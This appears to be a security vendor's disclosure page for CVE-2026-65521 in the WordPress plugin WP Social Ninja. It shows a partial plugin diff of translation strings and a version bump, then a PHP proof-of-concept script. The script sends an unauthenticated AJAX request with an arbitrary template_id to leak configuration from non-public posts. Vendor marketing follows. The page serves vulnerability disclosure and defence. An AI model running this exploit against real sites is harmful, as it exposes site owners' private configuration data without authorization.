+            'Connect your YouTube account to show videos, playlists, and live streams from your channels.' => __('Connect your YouTube account to show videos, playlists, and live streams from your channels.', 'wp-social-reviews'),
             'Connect your account to start displaying feeds and unlock all the features.' => __('Connect your account to start displaying feeds and unlock all the features.', 'wp-social-reviews'),
             'Connected on' => __('Connected on', 'wp-social-reviews'),
             'Connecting...' => __('Connecting...', 'wp-social-reviews'),
             'Connection' => __('Connection', 'wp-social-reviews'),
+            'Connects via Instagram' => __('Connects via Instagram', 'wp-social-reviews'),
             'Consumer Key(API Key)' => __('Consumer Key(API Key)', 'wp-social-reviews'),
             'Consumer Key(API Key):' => __('Consumer Key(API Key):', 'wp-social-reviews'),
             'Consumer Secret(API Secret Key)' => __('Consumer Secret(API Secret Key)', 'wp-social-reviews'),
             'Consumer Secret(API Secret Key):' => __('Consumer Secret(API Secret Key):', 'wp-social-reviews'),
             'Content Language' => __('Content Language', 'wp-social-reviews'),
             'Content Type' => __('Content Type', 'wp-social-reviews'),
-            'Continue with Instagram' => __('Continue with Instagram', 'wp-social-reviews'),
-            'Continue with TikTok' => __('Continue with TikTok', 'wp-social-reviews'),
             'Copied to Clipboard!' => __('Copied to Clipboard!', 'wp-social-reviews'),
             'Could not load Turnstile widget.' => __('Could not load Turnstile widget.', 'wp-social-reviews'),
             'Country' => __('Country', 'wp-social-reviews'),
@@ -391,6 +401,9 @@
             'Display X (Twitter) Card' => __('Display X (Twitter) Card', 'wp-social-reviews'),
             'Display X (Twitter) Logo' => __('Display X (Twitter) Logo', 'wp-social-reviews'),
             'Display X (Twitter) Player Card' => __('Display X (Twitter) Player Card', 'wp-social-reviews'),
+            'Display Your Google Reviews' => __('Display Your Google Reviews', 'wp-social-reviews'),
+            'Display Your TikTok Videos' => __('Display Your TikTok Videos', 'wp-social-reviews'),
+            'Display Your YouTube Videos' => __('Display Your YouTube Videos', 'wp-social-reviews'),
             'Display each notification for * seconds. (Time should be in Millisecond.)' => __('Display each notification for * seconds. (Time should be in Millisecond.)', 'wp-social-reviews'),
             'Display posts with' => __('Display posts with', 'wp-social-reviews'),
             'Dots' => __('Dots', 'wp-social-reviews'),
@@ -589,6 +602,7 @@
             'Managed' => __('Managed', 'wp-social-reviews'),
             'Management Settings' => __('Management Settings', 'wp-social-reviews'),
             'Managers' => __('Managers', 'wp-social-reviews'),
+            'Manual Setup' => __('Manual Setup', 'wp-social-reviews'),
             'Manually enter your' => __('Manually enter your', 'wp-social-reviews'),
             'Mark as Spam' => __('Mark as Spam', 'wp-social-reviews'),
             'Masonry' => __('Masonry', 'wp-social-reviews'),
@@ -739,6 +753,7 @@
             'QR Code' => __('QR Code', 'wp-social-reviews'),
             'QR Codes' => __('QR Codes', 'wp-social-reviews'),
             'QR code' => __('QR code', 'wp-social-reviews'),
+            'Quick Connect' => __('Quick Connect', 'wp-social-reviews'),
             'Random' => __('Random', 'wp-social-reviews'),
             'Rating' => __('Rating', 'wp-social-reviews'),
             'Rating Style' => __('Rating Style', 'wp-social-reviews'),
@@ -749,8 +764,10 @@
             'Read our {reviews_count} Reviews' => __('Read our {reviews_count} Reviews', 'wp-social-reviews'),
             'Recipient Email Address' => __('Recipient Email Address', 'wp-social-reviews'),
             'Recipients' => __('Recipients', 'wp-social-reviews'),
+            'Recommended · One-click setup' => __('Recommended · One-click setup', 'wp-social-reviews'),
             'Recommends' => __('Recommends', 'wp-social-reviews'),
             'Redirect to YouTube' => __('Redirect to YouTube', 'wp-social-reviews'),
+            'Redirecting to' => __('Redirecting to', 'wp-social-reviews'),
             'Regenerate AI Summary' => __('Regenerate AI Summary', 'wp-social-reviews'),
             'Relative' => __('Relative', 'wp-social-reviews'),
             'Require Login' => __('Require Login', 'wp-social-reviews'),
@@ -843,8 +860,6 @@
             'Show Review Images' => __('Show Review Images', 'wp-social-reviews'),
             'Show posts containing these words or hashtags' => __('Show posts containing these words or hashtags', 'wp-social-reviews'),
             'Show reviews containing these words' => __('Show reviews containing these words', 'wp-social-reviews'),
-            'Sign In And Get Google Access Code' => __('Sign In And Get Google Access Code', 'wp-social-reviews'),
-            'Sign in And Get Google Access Code' => __('Sign in And Get Google Access Code', 'wp-social-reviews'),
             'Single Album' => __('Single Album', 'wp-social-reviews'),
             'Single Photo' => __('Single Photo', 'wp-social-reviews'),
             'Site Key' => __('Site Key', 'wp-social-reviews'),
@@ -992,6 +1007,7 @@
             'View on TikTok' => __('View on TikTok', 'wp-social-reviews'),
             'Views' => __('Views', 'wp-social-reviews'),
             'Views Counter' => __('Views Counter', 'wp-social-reviews'),
+            'WP Social Ninja does not manage or post to your Facebook account. It only reads the public content you approve. Tokens and data are stored on your own site — our connection service only passes the authorization through and never stores your data.' => __('WP Social Ninja does not manage or post to your Facebook account. It only reads the public content you approve. Tokens and data are stored on your own site — our connection service only passes the authorization through and never stores your data.', 'wp-social-reviews'),
             'Weight' => __('Weight', 'wp-social-reviews'),
             'Welcome Message' => __('Welcome Message', 'wp-social-reviews'),
             'Went' => __('Went', 'wp-social-reviews'),
@@ -1022,6 +1038,11 @@
             'You can use this {total_reviews} shortcode to show dynamic value in a text. Ex: Based on {total_reviews} Reviews.' => __('You can use this {total_reviews} shortcode to show dynamic value in a text. Ex: Based on {total_reviews} Reviews.', 'wp-social-reviews'),
             'You haven’t added any testimonials. Add one now to start showcasing them in your template.' => __('You haven’t added any testimonials. Add one now to start showcasing them in your template.', 'wp-social-reviews'),
             'You need to upgrade to Pro to use this channel.' => __('You need to upgrade to Pro to use this channel.', 'wp-social-reviews'),
+            'You will be redirected to WP Social Ninja, then to Facebook to approve access.' => __('You will be redirected to WP Social Ninja, then to Facebook to approve access.', 'wp-social-reviews'),
+            'You will be redirected to WP Social Ninja, then to Google to approve access.' => __('You will be redirected to WP Social Ninja, then to Google to approve access.', 'wp-social-reviews'),
+            'You will be redirected to WP Social Ninja, then to Instagram to approve access.' => __('You will be redirected to WP Social Ninja, then to Instagram to approve access.', 'wp-social-reviews'),
+            'You will be redirected to WP Social Ninja, then to TikTok to approve access.' => __('You will be redirected to WP Social Ninja, then to TikTok to approve access.', 'wp-social-reviews'),
+            'You will be redirected to our authentication portal. This may take up to 5 seconds.' => __('You will be redirected to our authentication portal. This may take up to 5 seconds.', 'wp-social-reviews'),
             'Your' => __('Your', 'wp-social-reviews'),
             'Your Account' => __('Your Account', 'wp-social-reviews'),
             'Your Authorized Businesses List' => __('Your Authorized Businesses List', 'wp-social-reviews'),
--- a/wp-social-reviews/wp-social-reviews.php
+++ b/wp-social-reviews/wp-social-reviews.php
@@ -3,7 +3,7 @@
 Plugin Name:  WP Social Ninja
 Plugin URI:   https://wpsocialninja.com/
 Description:  Display your social feeds, reviews and chat widgets automatically and easily on your website with the all-in-one social media plugin.
-Version:      4.3.0
+Version:      4.3.1
 Author:       WPManageNinja LLC
 Author URI:   https://wpsocialninja.com/
 License:      GPLv2 or later
@@ -13,9 +13,9 @@

 defined('ABSPATH') or die;

-define('WPSOCIALREVIEWS_VERSION', '4.3.0');
+define('WPSOCIALREVIEWS_VERSION', '4.3.1');
 define('WPSOCIALREVIEWS_DB_VERSION', 121);
-define('WPSOCIALREVIEWS_PRO_MIN_VERSION', '4.3.0');
+define('WPSOCIALREVIEWS_PRO_MIN_VERSION', '4.3.1');
 define('WPSOCIALREVIEWS_MAIN_FILE', __FILE__);
 define('WPSOCIALREVIEWS_BASENAME', plugin_basename(__FILE__));
 define('WPSOCIALREVIEWS_URL', plugin_dir_url(__FILE__));

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-65521 - WP Social Ninja – Embed Social Feeds, User Reviews & Chat Widgets <= 4.3.0 - Unauthenticated Information Exposure

/*
 * Proof of Concept for CVE-2026-65521.
 * This script demonstrates how an unauthenticated attacker can extract
 * sensitive information by sending a crafted request to the WordPress
 * AJAX endpoint, targeting a non-public template ID.
 *
 * The core issue is that the 'wpsr_template_render' AJAX action does not
 * validate the post type or status of the 'template_id' parameter.
 * By providing the ID of a draft, private, or other non-public post that
 * contains '_wpsr_template_config' meta, the plugin will attempt to render
 * it, leaking the associated sensitive configuration data.
 */

// --- Configuration ---
$target_url = 'http://example.com'; // The base URL of the target WordPress site

// --- Exploit ---

// The AJAX action that triggers the vulnerable template renderer.
$action = 'wpsr_template_render';

// The ID of the target post to leak.
// An attacker would typically need to guess or enumerate post IDs.
// Post ID 1 is used as an example here.
$template_id = 1;

// The platform associated with the template. This can be 'youtube',
// 'facebook', 'instagram', etc. The 'youtube' platform is used as an example.
$platform = 'youtube';

// Construct the POST data for the AJAX request.
$post_data = array(
    'action' => $action,
    'template_id' => $template_id,
    'platform' => $platform,
    'page' => 1 // Some versions may require a page number for pagination.
);

// Initialize cURL session.
$ch = curl_init();

// Set cURL options for the AJAX request.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 5);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

// Add common headers to mimic a browser request.
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    'X-Requested-With: XMLHttpRequest',
    'Accept: application/json, text/javascript, */*; q=0.01',
    'Referer: ' . $target_url . '/'
));

// Execute the cURL request.
$response = curl_exec($ch);

// Check for cURL errors.
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

// Get the HTTP status code.
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Close the cURL session.
curl_close($ch);

// Check if the request was successful (HTTP 200).
if ($http_code == 200) {
    echo "[+] HTTP 200 OKn";
    echo "[+] Request sent successfully to: " . $target_url . "/wp-admin/admin-ajax.phpn";
    echo "[+] Action: " . $action . "n";
    echo "[+] Template ID: " . $template_id . "n";
    echo "[+] Platform: " . $platform . "n";

    // Attempt to decode the JSON response.
    $json_response = json_decode($response, true);

    if ($json_response !== null) {
        echo "[+] Response:n";
        // Print the full JSON response, which may contain sensitive config data.
        echo json_encode($json_response, JSON_PRETTY_PRINT) . "n";
        // A specific check for a common sensitive field.
        if (isset($json_response['data']['feed_settings'])) {
            echo "n[+] SENSITIVE DATA LEAKED: Found feed_settings in response!n";
        }
    } else {
        echo "[+] Response (raw):n";
        echo $response . "n";
    }
} else if ($http_code == 403) {
    echo "[-] Request failed with HTTP 403 Forbidden.n";
    echo "[-] The site may have a WAF rule or the template ID might be invalid for rendering.n";
} else {
    echo "[-] Request failed with HTTP status code: " . $http_code . "n";
    echo "[-] Response Body: " . $response . "n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.